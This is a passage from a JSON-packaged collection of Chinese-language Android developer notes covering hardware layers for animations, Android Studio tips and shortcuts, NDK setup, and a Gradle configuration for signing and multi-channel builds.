potential clipping issues when applying 3D transforms on a view.    \n    \n\n- LAYER_TYPE_SOFTWARE\n    > Indicates that the view has a software layer. A software layer is backed by a bitmap and causes the view to be rendered using Android's software rendering pipeline, even if hardware acceleration is enabled.\n\n    > Software layers have various usages:\n\n    > When the application is not using hardware acceleration, a software layer is useful to apply a specific color filter and/or blending mode and/or translucency to a view and all its children.\n\n    > When the application is using hardware acceleration, a software layer is useful to render drawing primitives not supported by the hardware accelerated pipeline. It can also be used to cache a complex view tree into a texture and reduce the complexity of drawing operations. For instance, when animating a complex view tree with a translation, a software layer can be used to render the view tree only once.\n\n    > Software layers should be avoided when the affected view tree updates often. Every update will require to re-render the software layer, which can potentially be slow (particularly when hardware acceleration is turned on since the layer will have to be uploaded into a hardware texture after every update.)\n\n- LAYER_TYPE_NONE\n    > Indicates that the view does not have a layer.\n    默认值。\n\n### 使用\n\n首先使用的前提是在清单文件中开启了硬件加速。否则将无法使用`hardware layer`。这一点在上面的文档中也有说明。\n\n`API`也是非常简单的，直接使用`View.setLayerType()`就好。使用时应该只是暂时的设置`Hardware Layer`，因为它们无法自动释放。     \n基本的使用步骤：    \n \n- 对每个想要在动画过程中进行缓存的`view`调用`View.setLayerType(View.LAYER_TYPE_HARDWARE, null)`方法。\n- 执行动画。\n- 在动画执行结束后调用`View.setLayerType(View.LAYER_TYPE_NONE, null)`方法来进行清除。\n\n示例:      \n```java\nmView.setLayerType(View.LAYER_TYPE_HARDWARE, null);\n\nanimator.addListener(new AnimatorListenerAdapter() {  \n  @Override\n  public void onAnimationEnd(Animator animation) {\n    mView.setLayerType(View.LAYER_TYPE_NONE, null);\n  }\n});\n\nanimator.start();  \n\n```\n但是如果在`4.0.x`的版本中使用上面的代码会崩溃，必须要把`setLayerType`放到`Runnable`中。如下:   \n```java\nmView.setLayerType(View.LAYER_TYPE_HARDWARE, null);\n\nanimator.addListener(new AnimatorListenerAdapter() {  \n  @Override\n  public void onAnimationEnd(Animator animation) {\n    //This will work successfully\n    post(new Runnable() {\n        @Override\n        public void run () {\n            setLayerType(LAYER_TYPE_NONE, null);\n        }\n    }\n  }\n});\n\nanimator.start();  \n```\n\n如果你基于`minSdkVersion 16`以上并且使用`ViewPropertyAnimator`时，你可以使用`withLayer()`方法替代如上的操作:     \n\n```java\nmView.animate().translationX(150).withLayer().start();\n```\n\n或者在`api 14`以上时使用`ViewCompat.animate().withLayer()`\n这样做，你的动画就会变得更流畅！\n    \t\n\n### 注意事项  \n\n你应该知道，事情没那么简单。     \n`Hardware layers`有着惊人的提升动画性能的能力。然而，如果滥用，它的危害更大。**不要盲目的使用`layers`**\n\n- 首先，在有些情况下，`hardware layers`除了`view`渲染外还会执行更多的工作。缓存`layer`将会需要时间，因为首选第一步就需要两个过程: 先将这些`view`渲染到`GPU`的一个`layer`中然后`GPU`再渲染该`layer`到`Window`上。如果要渲染的`View`非常简单(例如一个纯色值),那么这样在初始化的时候就会增加`Hardware Layer`不必要的开销。\n\n- 其次，对所有的缓存来讲，都有一个缓存失效的可能性。任何时候如果在动画过程中调用`view.invalidate()`，那么`layer`就必须要重新渲染。经常的废弃`hardware layers`会比没有`layers`的情况下更糟糕，因为如同上面讲到的`hardware layers`在设置缓存时会有额外的开销。如果你需要经常的重新缓存`layer`，那就会有极大的损害。    \n\n    这个问题也是非常容易出现的，因为动画经常有多个移动的部分。假如现在有一个三个部分移动的动画:     \n    ```java\n    Parent ViewGroup\n    —-> Child View1 (往左移动)\n    —-> Child View2 (往右移动)\n    —-> Child View3 (往上移动)\n    ```\n    \n    如果你只在父布局`ViewGroup`上设置一个`layer`，那就将经常的缓存失效，因为`ViewGroup`会随着子`View`不断地改变。然而对每个单独的子`Views`而言，他们只是在位移。这种情况下，最好是对每个子`View上`设置`Hardware Layer`（而不是在父布局上）。\n    \n    ***再次重申，通常是对多个子`View上`适当的设置`Hardware Layer`，这样他们就不会在动画运行时失效。***\n    \n    在手机开发者选项中的*显示硬件层更新（Show hardware layers updates）*功能是追踪这个问题的开发利器。当`View`渲染`Hardware Layer`的时候闪烁绿色，它应该在动画开始的时候闪烁一次（也就是`Layer`渲染初始化的时候），然而，如果你的`View`在整个动画期间都是绿色，那就是遇到失效的问题了。\n\n- 最后，`hardware layers`使用`GPU`内存，你当然不想出现内存泄漏的问题。所以你应该在必要的时候再去使用`hardware layers`，就想播放动画时。  \n\n\n这里也没有硬性规则。`Android`渲染系统是非常复杂的。就像所有性能问题一样，测试才是关键。通过使用“显示硬件层更新”开发者选项来确定`layers`是在帮你还是害你。\n\n\n\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/AndroidStudioCourse/Android Studio你可能不知道的操作.md",
    "content": "Android Studio你可能不知道的操作\n===\n\n今天看在`Youtube`看视频，看到`Reto Meier`在讲解`Studio`，\n一查才知道他现在是`Studio`的开发人员。\n想起刚开始学`Android`时买的他写的书`Professional Android 4 Application Development`，\n当时很多内容没看懂。不过看了这个视频才发现大神写代码如此之快…\n\n现在天天用着大神开发的工具，没有理由不去好好学习下。\n\n工欲善其事必先利其器，一个好的开发工具可以让你事半功倍。`Android Studio`是一个非常好的开发工具，但是虽然都在用，你可能还是了解的不全面，今天就来说一下一些你可能不知道的功能。\n\n熟练使用快捷键是非常有必要的:     \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/use_shortcut.gif?raw=true)  \n\n\n- 自动导入              \n经常听到同事抱怨，`Studio`怎么没有`Eclipse`那种批量导包啊，那么多类要到，费劲了。其实不用一个个导的。\n使用`Command+Shift+A(Windows或Linux是Ctrl+Shift+A)`快速的查找设置命令。我们输入`auto import`后将`Add unambiguous imports on fly`选项开启就好了，很爽有木有？你的是不是也没开啊？              \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/auto_import.gif?raw=true)         \n你可以快速打开一些设置，例如你想在`finder`中查看该文件，直接输入`find`就好了。\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/action_find.png?raw=true)        \n\n- 在自动完成代码时使用`Tab`键来替换已存在的方法和参数。           \n经常如我们想要修改一个已经存在的方法时，我们移动到对象的`.`的提示区域，如果使用`Command+Space`来补充代码选择后按`enter`的话，会把之前已经存在的代码往后移动，这样还要再去删除，很不方便。但是如果我们直接使用`Tag`键，那就会直接替换当前已经存在的方法。\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/tab_tip.gif?raw=true)  \n\n- 内容选择技巧         \n使用`Control+↑或↓`能在方法间移动。使用`Shift+↑或↓`来选择至上一行或者至下一行代码的代码？那么使用`option++↑或↓(Windows或Linux是alt++↑或↓)`呢？它能选择或者取消选择和你鼠标所在位置的代码区域。同时使用`option+shift++↑或↓(Windows或Linux是alt+shift++↑或↓)可以交换选中代码块与上一行的位置。这样我们就不需要剪切和粘贴了。\n\n- 使用模板补全代码      \n你可以在代码后加用后缀的方式补充代码块，也可以用`Command+J(Windows是Ctrl+J)`来提示。      \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/command_j.gif?raw=true)        \n对于一些更多的模式，在代码自动完成时也支持生成对应的模板，例如使用`Toast`的快捷键可以很方便的生成一个新的`toast`对象，你只需要指定文字就可以了。     \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/toast_autocomp.gif?raw=true)         \n用`Command+Shift+A`然后输入`live template`然后打开对应的页面，可以看到目前已经存在的模板。当然你也可以添加新的模板。     \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/live_templete.png?raw=true)  \n\n- 在`Evaluating Expressions`中为`Object`对象指定显示内容        \n如果我们在`debug`的时候查看断点处的变量值或者`evaluating expressions`，你会发现`objects`会显示他们的`toString()`值。如果你的变量是`String`类型或者基础类型那不会有问题，但是大多数其他对象，这样没有什么意义。    \n尤其是在集合对象时，你看的是一个`CallsName:HashValue`的列表。而为了需要看清数据，我们需要知道每个对象的内容。     \n你当然可以去对每个对象类型指定索要显示的内容。在对应的对象上邮件`View as`然后创建你想要显示的内容就可以了。     \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/debug_eva.gif?raw=true)  \n\n- 结构性的搜索、替换、和检查       \n`Command+shift+A`然后输入`structural `后选择`search structurally`或者`replace structurally`，然后可以对应的结构性搜索的模板，完成之后所有符合该模板的代码都会提示`warning`。     \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/structural_search.gif?raw=true)        \n更有用的是可以使用快速修复来替换一些代码，例如一些废弃的代码或者你在`review`时发现的其他团队成员提交的一些普遍的错误。\n\n    \t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/AndroidStudioCourse/AndroidStudio中进行ndk开发.md",
    "content": "AndroidStudio中进行ndk开发\n===\n\n- 创建工程，声明`native`方法。               \n\t```java\n\tprivate native void startDaemon(String serviceName, int sdkVersion);\n\n    static {\n        System.loadLibrary(\"daemon\");\n    }\n\t```\n\t\n\t\n- 生成`class`文件。                 \n    执行`Build-Make Project`命令，生成`class`文件。所在目录为`app_path/build/intermediates/classes/debug`\n\n\n- 执行`javah`生成`.h文件`                    \n\t```\n\tC:\\Users\\Administrator>javah -help\n\t用法:\n\t  javah [options] <classes>\n\t其中, [options] 包括:\n\t  -o <file>                输出文件 (只能使用 -d 或 -o 之一)\n\t  -d <dir>                 输出目录\n\t  -v  -verbose             启用详细输出\n\t  -h  --help  -?           输出此消息\n\t  -version                 输出版本信息\n\t  -jni                     生成 JNI 样式的标头文件 (默认值)\n\t  -force                   始终写入输出文件\n\t  -classpath <path>        从中加载类的路径\n\t  -cp <path>               从中加载类的路径\n\t  -bootclasspath <path>    从中加载引导类的路径\n\t```\t\n\t在`Studio Terminal`中进入到`src/main`目录下执行`javah`命令:       \n\t`javah -d jni -classpath <SDK_android.jar>;<APP_classes> <class>`\n\t\n\t`F:\\DaemonService\\app\\src\\main>javah -d jni -classpath C:\\develop\\android-sdk-windows\\platforms\\android-22\\android.jar;..\\..\\build\\intermediates\\classes\\debug com.charonchui.daemonservice.service.DaemonService`\n\t执行完成后就会在`src/main/jni`目录下生成`com_charonchui_daemonservice_service_DaemonService.h`文件。\n\n- 在`module/src/main/jni`目录下创建对应的`.c`文件。\n\n\n\n- 配置`ndk`路径，在项目右键`Moudle Setting`中设置。              \n    ![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/studio_ndk_jni.png?raw=true)    \n\t\n- 在`build.gradle`中配置`ndk`选项              \n\n    ```java\n\tandroid {\n\t\tcompileSdkVersion 23\n\t\tbuildToolsVersion \"23.0.1\"\n\n\t\tdefaultConfig {\n\t\t\tapplicationId \"com.charonchui.daemonservice\"\n\t\t\tminSdkVersion 8\n\t\t\ttargetSdkVersion 23\n\t\t\tversionCode 1\n\t\t\tversionName \"1.0\"\n\n\t\t\tndk {\n\t\t\t\tmoduleName \"uninstall_feedback\" // 配置so名字\n\t\t\t\tldLibs \"log\"\n\t//            abiFilters \"armeabi\", \"x86\"  // 默认就是全部的，加了配置才会生成选中的\n\t\t\t}\n\t\t}\n\t\tbuildTypes {\n\t\t\trelease {\n\t\t\t\tminifyEnabled false\n\t\t\t\tproguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'\n\t\t\t}\n\t\t}\n\t}\n\t```\n\t这里可能会出现错误:      \n\t- `Error: NDK integration is deprecated in the current plugin. Consider trying the new experimental plugin. For details, see http://tools.android.com/tech-docs/new-build-system/gradle-experimental. Set \"android.useDeprecatedNdk=true\" in gradle.properties to continue using the current NDK integration.`\n\t    解决方法就是在`gradle.properties`文件中添加`android:useDeprecatedNdk=true`就可以了。\n\t- `Error:Execution failed for task ':app:compileDebugNdk'.\n\t\t> com.android.ide.common.process.ProcessException: org.gradle.process.internal.ExecException: Process 'command 'E:\\android-ndk-r10\\ndk-build.cmd'' finished with non-zero exit value 2`\n\t\t解决方法就是在`jni`目录建一个任意名字的`.c`空文件就可以了。\n\t\n- 执行Build      \n\t然后就可以在`app/build/intermediates/ndk/debug/obj/local`下看到所有架构的`so`了。\n    ![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/studio_ndk_build.png?raw=true)    \n\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/AndroidStudioCourse/AndroidStudio使用教程(第一弹).md",
    "content": "AndroidStudio使用教程(第一弹)\n===\n\n`Android Studio`是一套面世不久的`IDE`（即集成开发环境），免费向谷歌及`Android`的开发人员发放。`Android Studio`以`IntelliJ IDEA`为基础,\n旨在取代`Eclipse`和`ADT`（`Android`开发者工具）为开发者提供更好的开发工具。              \n运行相应速度、智能提示、布局文件适时多屏预览等都比`Eclipse`要强，但也不能说全部都是有点现在`Studio`中无法在一个窗口管理多个`Project`，\n每个`Project`都要打开一个窗口，或者是`close`当前的后再打开别的。\n\n当但是毕竟是预览版，所以只是暂时试用了下，并没有过多接触，开发中还是使用`Eclipse`。           \n经过一年多的沉淀，如果已到0.8.4版本，最近准备在工作用正式开始使用，所以看了下官网的教程。准备开始了。\n\n- 安装                  \n    这个我就不多说了，大家都知道，官网下载安装即可。安装完成后界面和`Eclipse`有些类似，然后就新建一个`Project`，完成之后会发现一直在提示下载，\n\t这是在下载`Gradle`，大约二三十M的大小，由于伟大的防火墙，所以可能需要很长时间，这里就不教大家了，对程序猿来说不是难题，大家都会科学上网。\n\t\n- 区别              \n    - 此`Project`非彼`Project`, `Android Studio`的目录结构(`Project`)代表一个`Workspace`，一个`Workspace`里面可以有多个`Module`，\n\t这里`Module`可以理解成`Eclipse`中的一个`Project`.\n\t`Project`代表一个完整的`Android app`，而`modules`则是`app`的一个组件，并且这个组件可以单独`build,test,debug`。`modules`可以分为下面几种：      \n\t    - Java library modules    \n        - Android library modules: 包含android相关代码和资源，最后生成AAR(Android ARchive)包    \n        - Android application modules       \n\t\t\n    - 结构发生了变化，在`src`目录下有一个`main`的分组同时包含了`java`和`res`.\n\t    ![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_1.png?raw=true)        \n\t    如图：`MyApplication`就是`Project`，而`app`就是`Module`.\n\t\n- 设置           \n   进入后你会发现字体或样式等不符合你的习惯。            \n   `Windows`下点击左上角`File` -> `Settings`进入设置页面(`Mac`下为 `Android Studio` -> `Preferences`)，在搜索框搜`Font`找到`Colors&Font`下的`Font`选项，\n   我们会发现无法修改右侧字体大小。这里修改必须\n   要通过新建`Theme`进行修改的，点击`Save as`输入一个名字后，就可以修改字体了。\n   \t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_2.png?raw=true)\n\n\t这里可能有些人会发现我的主题是黑色的，和`IO`大会演示的一样，但是安装后默认是白色的，有些刺眼。这里可以通过设置页面中修改`Theme`来改变,\n\t默认是`Intellij`, 改为`Darcula`就是黑色的了.\n\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_3.png?raw=true)\n\t很酷有木有.\n\t\n- 运行            \n    设置好字体后，当然要走你了。             \n\t运行和`Eclipse`中比较像，点击绿色的箭头。 可以通过箭头左边的下拉菜单选择不同的`Module`,快捷键是`Shift+F10`                              \n\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_4.png?raw=true)\n\n    `AndroidStudio`默认安装会启动模拟器，如果想让安装到真机上可以配置一下。在下拉菜单中选择`Edit Configurations`选择提示或者是`USB`设备。\n\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_5.png?raw=true)\t\n\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_6.png?raw=true)\t\n\t\n- 常用快捷键介绍            \n    `AndroidStudio`中可以将快捷键设置成`Eclipse`中的快捷键。具体方法为在设置页面搜索`keymap`然后选择为`Eclipse`就可以了.\n\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_7.png?raw=true)\t\n\t\n\t强迫症的人伤不起，非想用默认的快捷键。               \n\t这里我整理下下个人常用的几个快捷键。 每个人的习惯不同，大家各取所需              \n\t`Ctrl+S`                   开个玩笑，这个键算是彻底废掉了， 因为`AndroidStudio`与`Eclipse`不同，他是自动保存的，所以我们再也不需要`Ctrl+S`了.   \n\n\t| 功能                                                         | Windows                                     | Mac                                          |\n\t| ------------------------------------------------------------ |:-------------------------------------------:| --------------------------------------------:|\n\t| 代码提示                 (同`Eclipse`中`Alt+/`)               | `Ctrl+空格`                                 | `Ctrl+空格`                               |\n\t| 查找文件                 (同`Eclipse`中`Ctrl+Shift+R`)        | `Ctrl+Shjft+N`                              | `双击Shift`                        |\n\t| 显示当前文件的结构       (同`Eclipse`中`Ctrl+0`)                | `Ctrl+F12`                                  | `Command+F12`                          |\n\t| 格式化                   (同`Eclipse`中`Ctrl+Shift+F`)       | `Ctrl+Alt+L`                                | `Command+Option+L`                          |\n\t| 优化导入的包             (同`Eclipse`中`Ctrl+Shift+O`)       | `Ctrl+Alt+O`                                | `Ctrl+Option+O`                         |\n\t| 查看文档                 (同`Eclipse`中`F2`)                 | `Ctrl+Q`                                    | `F1`                           |\n\t| 查找使用位               (同`Eclipse`中`File Search`)        | `Alt+F7`                                    | `Option+F7`                                |\n\t| 上下移动代码                                                 | `Alt+Shift+Up/Down`                         | `Option+Shift+Up/Down`                       |\n\t| 剪切当前行                                                   | `Ctrl+X`                                    | `Command+x`                       |\n\t| 删除当前行                                                   | `Ctrl+Y`                                    | `Command+Delete`                             |\t                        \n\t| 快速重写方法     override                                    | `Ctrl+O`                                    | `Ctrl+O`                                 |\t                           \n\t| 折叠展开代码块                                               | `Ctrl+Plus/Minus`                           | `Command+Plus/Minus`                         |\t \t                                   \n\t| 折叠展开全部代码块                                           | `Ctrl+Shift+Plus/Minus`                     | `Command+Shift+Plus/Minus`                   |\t                                                \n\t| 大小写转换                                                   | `Ctrl+Shift+U`                              | `Command+Shift+U`                            |\t      \t\t \n\t| 新建文件或生成代码(`GetSet`)                                 | `Alt+Insert`                                |      `Command+N`                                        |\n\t| 快速修复(同`Eclipse`中`F1`)                                  | `Alt+Enter`                                 |       `Option+Enter`                                       |\n\t| 显示方法参数                                                 | `Ctrl+P`                                    |   `Command+P`                                           |\t                     \n\t| 运行项目                                                     | `Shift+F10`                                 |  `Ctrl+R`                                    |\t\t\t\t \n\t| 跳转到上次修改的地方                                         | `Ctrl+Shift+Backspace`                      |     `Command+Shift+Backspace`                                         |\t                        \n\t| 快捷生成结构体(加try catch等)                                | `Ctrl+Alt+T`                                |  `Command+Option+T`                        |\t                                \n\t| 显示最近编辑列表                                             | `Ctrl+E`                                    |  `Command+E`                                            |\t                                \n\t| 跳转到大括号开头或结尾                                       | `Ctrl+{或}`                                 |          .....                                    |\t                          \n\t| 在方法间移动                                                 | `Alt+↑或↓`                                  | `Ctrl+↑或↓`                                           |\t                                            \n\t| 切换已打开的文件视图                                         | `Alt+←或→`                                  |   `Ctrl+←或→`                                           |\t                                               \n\t| 重命名                                                       | `Shift+F6`                                  |         `Shift+F6`                                    |\t                \n\t| 直接进入源码                                                 | `F4`                                        |                                              |\t                                                       \n\t| 快速打开该类或方法(与F4虽然大部分情况下相同，但他俩不一样)   | `Ctrl+B`如在布局文件上点会直接进入布局文件  |                `Command+B`                              |\n\t| 快速定位到文件错误或警告位置                                 | `F2`                                        |     `F2`                                         |\t                         \n\t| 在当前位置复制当前行                                         | `Ctrl+D`                                    |     `Command+D`                                         |\t                             \n\t| 选中两个文件或目录后进行比较(活生生一个简单的BeyondCompare)  | `Ctrl+D`                                    |      `Command+D`                                        |\t                             \n\t| 开关`Project`视图                                            | `Alt+1`                                     |    `Command+1`                                          |\t                                \n\t| 关闭当前窗口                                                 | `Ctrl+_F4`                                  |   `Command+W`                                     |\t             \n\t| 实现接口方法  implement                                      | `Ctrl+I`                                    | `Ctrl+I`                               |\n\t| 抽象方法查看具体有哪些实现类                                 | `Ctrl+Alt+B`                                | `Command+Option+B`                       |\n\t| 单行注释                                                     | `Ctrl+/`                                    | `Command+/`                       |\n\t| 多行注释                                                     | `Ctrl+Shit+/`                               | `Command+Option+/`                             |\t                        \n\t| 复制，如果当前行没有选中内容就复制当前行                     | `Ctrl+C`                                    | `Command+C`                                  |\t                           \n\t| 打开该类的关系图，查看该类的继承或实现                       | `Ctrl+H`                                    | `Ctrl+H`                     |\t \t                                   \n\t| 提示代码缩写，如so后点击提示System.out.print等               | `Ctrl+J`                                    | `Command+J`                   |\t                                                \n\t| 进入父类方法的实现  UP                                       | `Ctrl+U`                                    | `Command+U`                            |\t      \t\t \n\t| 抽取某一个块代码为单独的变量或者方法                             | `Ctrl+Alt+V`                                    | `Command+Option+V`  方法是`Command+Option+M`                       |\t    \n\t| 选择最近所有复制过内容的列表                                 | `Ctrl+Shift+V`                              |  `Command+Shift+V`                                            |\n\t| 通过卡片的方式，直接查看该方法的具体内容或者图片     | `Ctrl+Shift+I`                              |  `Option+Space`                                            |\n\t| 全局搜索                                                     | `Ctrl+Shift+F`                              |  `Command+Shift+F`                                            |\t                     \n    | 上一步、下一步                                                | ``                              |  `Command+[或]`                                            |\t                     \n   | 高亮所有相同变量                                                | `Ctrl+Shift+F7`                              |  `Command+Shift+F7`                                            |\n  | 方法调用层级弹窗                                                | `Ctrl+Alt+H`                              |  `Control+Option+H`                                            |\t\n|书签(在当前行打上书签)                                                   | `F11`                              |  `F3`                                            | \n|展示书签                                                   | `Shift+F11`                              |  `Command+F3`                                            | \n|整行代码上下移动                                                   | `Alt+Shift++↑或↓`                              |  `Option+Shift+↑或↓`                                         | \n|搜索设置操作命令                                                   | `Ctrl+Shift+A`                              |  `Command+Shift+A`                                         |\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/AndroidStudioCourse/AndroidStudio使用教程(第七弹).md",
    "content": "AndroidStudio使用教程(第七弹)\n===\n\n本文讲解一下`Gradle`的应用，大家都知道`Gradle`使用起来非常方便，那他究竟方便在哪里？　　　　　　　　　　　　　　　　　　　　　　　　　　\n\n- 很多时候我们在打印`Log`日志的时候都是需要在`Debug`版本中进行打印，而在正式版本中关闭。\n    通常我们都是用一个`Config`文件来配置，不知道大家有没有遇到过正式版中忘记关闭`Log`日志的情况。\n- 多渠道包非常让人头疼。现在国内市场这么多。一个个的打多麻烦，虽然我们会用友盟打包工具等。\n    怎么破？\n    \n\n先把项目中的`build.gradle`展现一下，然后慢慢分析。\n```xml\napply plugin: 'com.android.application'\n\nandroid {\n    compileSdkVersion 22\n    buildToolsVersion \"22.0.1\"\n\n    defaultConfig {\n        applicationId \"com.charon.*\"\n        minSdkVersion 11\n        targetSdkVersion 22\n        versionCode 1\n        versionName \"1.0\"\n\n        multiDexEnabled true\n        // default umeng channel name\n        manifestPlaceholders = [UMENG_CHANNEL_VALUE: \"umeng\"]\n    }\n\n    signingConfigs {\n        debug {\n            storeFile file(\"debug.keystore\")\n        }\n\n        release {\n            storeFile file(\"keystore.keystore\")\n            storePassword \"android\"\n            keyAlias \"androiddebugkey\"\n            keyPassword \"android\"\n        }\n    }\n\n    buildTypes {\n        debug {\n            versionNameSuffix \"-debug\"\n            minifyEnabled false\n            zipAlignEnabled false\n            shrinkResources false\n            signingConfig signingConfigs.debug\n        }\n\n        release {\n            zipAlignEnabled true\n            // remove unused resources\n            shrinkResources true\n            minifyEnabled true\n            proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'\n            signingConfig signingConfigs.release\n        }\n    }\n\n    productFlavors {\n        xiaomi {}\n        _360 {}\n        baidu {}\n        qq {}\n    }\n\n    productFlavors.all {\n            // change UMENG_CHANNEL_VALUE to the product channel name\n        flavor -> flavor.manifestPlaceholders = [UMENG_CHANNEL_VALUE: name]\n    }\n\n    lintOptions {\n        // if true, stop the gradle build if errors are found\n        abortOnError false\n\n        // set to true to turn off analysis progress reporting by lint\n        // quiet true\n        // if true, only report errors\n//        ignoreWarnings true\n        // if true, emit full/absolute paths to files with errors (true by default)\n        //absolutePaths true\n        // if true, check all issues, including those that are off by default\n//        checkAllWarnings true\n        // if true, treat all warnings as errors\n//        warningsAsErrors true\n        // turn off checking the given issue id's\n//        disable 'TypographyFractions','TypographyQuotes'\n        // turn on the given issue id's\n//        enable 'RtlHardcoded','RtlCompat', 'RtlEnabled'\n        // check *only* the given issue id's\n//        check 'NewApi', 'InlinedApi'\n        // if true, don't include source code lines in the error output\n//        noLines true\n        // if true, show all locations for an error, do not truncate lists, etc.\n//        showAll true\n        // Fallback lint configuration (default severities, etc.)\n        lintConfig file(\"default-lint.xml\")\n        // if true, generate a text report of issues (false by default)\n//        textReport true\n        // location to write the output; can be a file or 'stdout'\n//        textOutput 'stdout'\n        // if true, generate an XML report for use by for example Jenkins\n//        xmlReport false\n        // file to write report to (if not specified, defaults to lint-results.xml)\n//        xmlOutput file(\"lint-report.xml\")\n        // if true, generate an HTML report (with issue explanations, sourcecode, etc)\n//        htmlReport true\n        // optional path to report (default will be lint-results.html in the builddir)\n//        htmlOutput file(\"lint-report.html\")\n\n        // set to true to have all release builds run lint on issues with severity=fatal\n        // and abort the build (controlled by abortOnError above) if fatal issues are found\n//        checkReleaseBuilds true\n        // Set the severity of the given issues to fatal (which means they will be\n        // checked during release builds (even if the lint target is not included)\n//        fatal 'NewApi', 'InlineApi'\n        // Set the severity of the given issues to error\n//        error 'Wakelock', 'TextViewEdits'\n        // Set the severity of the given issues to warning\n//        warning 'ResourceAsColor'\n        // Set the severity of the given issues to ignore (same as disabling the check)\n//        ignore 'TypographyQuotes'\n    }\n\n    compileOptions {\n        sourceCompatibility JavaVersion.VERSION_1_7\n        targetCompatibility JavaVersion.VERSION_1_7\n    }\n\n    applicationVariants.all { variant ->\n        variant.outputs.each { output ->\n            def outputFile = output.outputFile\n            if (outputFile != null && outputFile.name.endsWith('.apk')) {\n                def fileName = outputFile.name.replace(\".apk\", \"-${defaultConfig.versionName}.apk\")\n                output.outputFile = new File(outputFile.parent, fileName)\n            }\n        }\n    }\n}\n\ndependencies {\n    compile fileTree(dir: 'libs', include: ['*.jar'])\n    compile project(':libraries:framework')\n    // square leakcanary\n    debugCompile 'com.squareup.leakcanary:leakcanary-android:1.3.1'\n    releaseCompile 'com.squareup.leakcanary:leakcanary-android-no-op:1.3.1'\n}\n\nrepositories {\n    mavenCentral()\n    maven{\n        url \"[maven reposity path]\"\n    }\n}\n\n\n```\n\t            \n\n下面来详细讲几个地方:\n\n```xml\napply plugin: 'com.android.application'\n\nandroid {\n    ...\n    defaultConfig {\n        // 支持方法数超过65536后的处理\n        multiDexEnabled true\n        // 这里就是上面提到的替换友盟统计中channel的值，下面这句话的意思就是默认值为umeng\n        manifestPlaceholders = [UMENG_CHANNEL_VALUE: \"umeng\"]\n    }\n\n\t// 签名操作\n    signingConfigs {\n        debug {\n\t\t     // debug签名文件配置\n            storeFile file(\"debug.keystore\")\n        }\n\n        release {\n\t\t    // 正式版签名文件配置\n            storeFile file(\"keystore.keystore\")\n            storePassword \"android\"\n            keyAlias \"androiddebugkey\"\n            keyPassword \"android\"\n        }\n    }\n\n    buildTypes {\n        debug {\n\t\t    // debug的签名处理\n            versionNameSuffix \"-debug\"\n            minifyEnabled false\n            zipAlignEnabled false\n            shrinkResources false\n            signingConfig signingConfigs.debug\n        }\n\n        release {\n\t\t    // 正式版签名处理\n            zipAlignEnabled true\n            // remove unused resources\n            shrinkResources true\n\t\t\t// proguard 混淆\n            minifyEnabled true\n            proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'\n            signingConfig signingConfigs.release\n        }\n    }\n\n\t// 多渠道打包\n    productFlavors {\n        xiaomi {}\n        _360 {}\n        baidu {}\n        qq {}\n\t\tfree {\n\t\t    // 当然这里还可以指定 applicationId 版本等这些内容，比如我们程序有一个收费版一个付费版，他俩的包名不同，这时候就可以通过这种方式来指定。\n\t\t\tapplicationId = 'com.test.test'\n            versionName = '1.0'\n            versionCode = 1\n\t\t}\n    }\n\n    productFlavors.all {\n        // 统一将manifest中的UMENG_CHANNEL_VALUE值替换为上面productFlavors中对应的渠道名\n        flavor -> flavor.manifestPlaceholders = [UMENG_CHANNEL_VALUE: name]\n    }\n\n    lintOptions {\n        // if true, stop the gradle build if errors are found\n        abortOnError false\n\n\t\t// 下面是一些其他的选项，一般都用不到\n        // set to true to turn off analysis progress reporting by lint\n        // quiet true\n        // if true, only report errors\n//        ignoreWarnings true\n        // if true, emit full/absolute paths to files with errors (true by default)\n        //absolutePaths true\n        // if true, check all issues, including those that are off by default\n//        checkAllWarnings true\n        // if true, treat all warnings as errors\n//        warningsAsErrors true\n        // turn off checking the given issue id's\n//        disable 'TypographyFractions','TypographyQuotes'\n        // turn on the given issue id's\n//        enable 'RtlHardcoded','RtlCompat', 'RtlEnabled'\n        // check *only* the given issue id's\n//        check 'NewApi', 'InlinedApi'\n        // if true, don't include source code lines in the error output\n//        noLines true\n        // if true, show all locations for an error, do not truncate lists, etc.\n//        showAll true\n        // Fallback lint configuration (default severities, etc.)\n        lintConfig file(\"default-lint.xml\")\n        // if true, generate a text report of issues (false by default)\n//        textReport true\n        // location to write the output; can be a file or 'stdout'\n//        textOutput 'stdout'\n        // if true, generate an XML report for use by for example Jenkins\n//        xmlReport false\n        // file to write report to (if not specified, defaults to lint-results.xml)\n//        xmlOutput file(\"lint-report.xml\")\n        // if true, generate an HTML report (with issue explanations, sourcecode, etc)\n//        htmlReport true\n        // optional path to report (default will be lint-results.html in the builddir)\n//        htmlOutput file(\"lint-report.html\")\n\n        // set to true to have all release builds run lint on issues with severity=fatal\n        // and abort the build (controlled by abortOnError above) if fatal issues are found\n//        checkReleaseBuilds true\n        // Set the severity of the 